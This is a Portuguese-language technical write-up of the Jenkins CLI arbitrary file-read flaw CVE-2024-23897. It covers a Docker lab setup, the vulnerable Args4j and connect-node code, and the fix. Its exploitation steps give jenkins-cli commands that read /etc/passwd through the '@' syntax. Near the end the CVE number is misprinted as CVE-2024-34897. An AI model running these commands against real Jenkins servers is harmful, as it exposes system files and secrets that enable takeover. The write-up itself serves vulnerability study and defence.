
[CVE-2024-23897] Jenkins CI Leitura Arbitrária de Arquivos Autenticada Através da CLI Leva à Execução Remota de Código (RCE)
Jenkins é uma ferramenta de DevOps de código aberto autossuficiente para integração contínua/entrega e implantação contínuas (CI/CD), escrita na linguagem de programação Java. É utilizada para implementar fluxos de trabalho CI/CD, chamados pipelines.
O Jenkins tem uma interface de linha de comando (CLI) integrada para aceder ao Jenkins a partir de um script ou ambiente de shell. O Jenkins utiliza a biblioteca Args4j para analisar argumentos e opções de comando no controlador Jenkins ao processar comandos CLI. Este analisador de comandos tem uma funcionalidade que substitui um caractere @ seguido de um caminho de ficheiro num argumento pelo conteúdo do ficheiro (expandAtFiles). Esta funcionalidade está ativada por predefinição e o Jenkins 2.441 e anteriores, LTS 2.426.2 e anteriores não a desativa.
Isto permite que atacantes leiam ficheiros arbitrários no sistema de ficheiros do controlador Jenkins utilizando a codificação de caracteres predefinida do processo do controlador Jenkins.
Configuração do Ambiente
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

Código Vulnerável
Deve notar-se que esta vulnerabilidade foi descoberta pela equipa de Investigação de Vulnerabilidades da SonarSource e esta secção foi copiada do post técnico do blogue da SonarSource.
O código vulnerável pode ser encontrado na biblioteca Args4j,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
O método expandAtFiles na classe CmdLineParser.java basicamente substitui um caractere @ seguido de um caminho de ficheiro num argumento pelo conteúdo do ficheiro: verifica se o argumento começa com o caractere @ e, em caso afirmativo, lê o ficheiro no caminho após o @ e expande um novo argumento para cada linha. Isto significa que, se um atacante conseguir controlar um argumento, pode expandi-lo para um número arbitrário deles a partir de um ficheiro arbitrário na instância Jenkins.
Uma forma de um atacante aproveitar isto é encontrar um comando que aceite um número arbitrário de argumentos e os apresente de volta ao utilizador. Como os argumentos são preenchidos a partir do conteúdo do ficheiro, um atacante poderia assim vazar o conteúdo do ficheiro. Para este efeito, o comando connect-node em hudson/cli parece ser um bom candidato: recebe uma lista de strings como argumento e tenta ligar-se a cada uma. Se falhar, é gerada uma mensagem de erro com o nome do nó que falhou na ligação.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
Este comando connect-node normalmente exigiria a permissão CONNECT, que é verificada na função cliConnect. Mas como a exceção é lançada antes da verificação de permissão na função resolveForCLI, o comando na verdade não requer quaisquer autorizações além da verificação inicial só de leitura.
Passos de Exploração
Normalmente, o @ no Jenkins-cli é utilizado para especificar um ficheiro contendo o token de portador ou username:password de um ficheiro.
Usar um comando autenticado com o Jenkins-cli produzirá o seguinte resultado:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

Usar a funcionalidade do caractere @ para especificar o ficheiro credentials.txt no interruptor -auth produz o seguinte:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

Análise da Correção
A equipa de segurança do Jenkins resolveu o CVE-2024-23897 ao introduzir uma configuração segura que desativa a funcionalidade expandAtFiles. A correção inclui a adição de uma verificação de origem ao ponto de extremidade WebSocket para CVE-2024-23898, impedindo o acesso não autorizado.
Commit relevante: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: Esta variável é um booleano que indica se a sintaxe '@' é permitida. É lida a partir de propriedades do sistema.ParserProperties: Esta classe fornece propriedades para configurar o CmdLineParser.withAtSyntax(ALLOW_AT_SYNTAX): Define a propriedade 'allowAtSyntax' no ParserProperties com base no valor de ALLOW_AT_SYNTAX.new CmdLineParser(this, properties): Cria uma nova instância de CmdLineParser, passando o objeto atual (this) e as ParserProperties configuradas.Mais informações sobre a vulnerabilidade CVE-2024-34897 e créditos são os seguintes: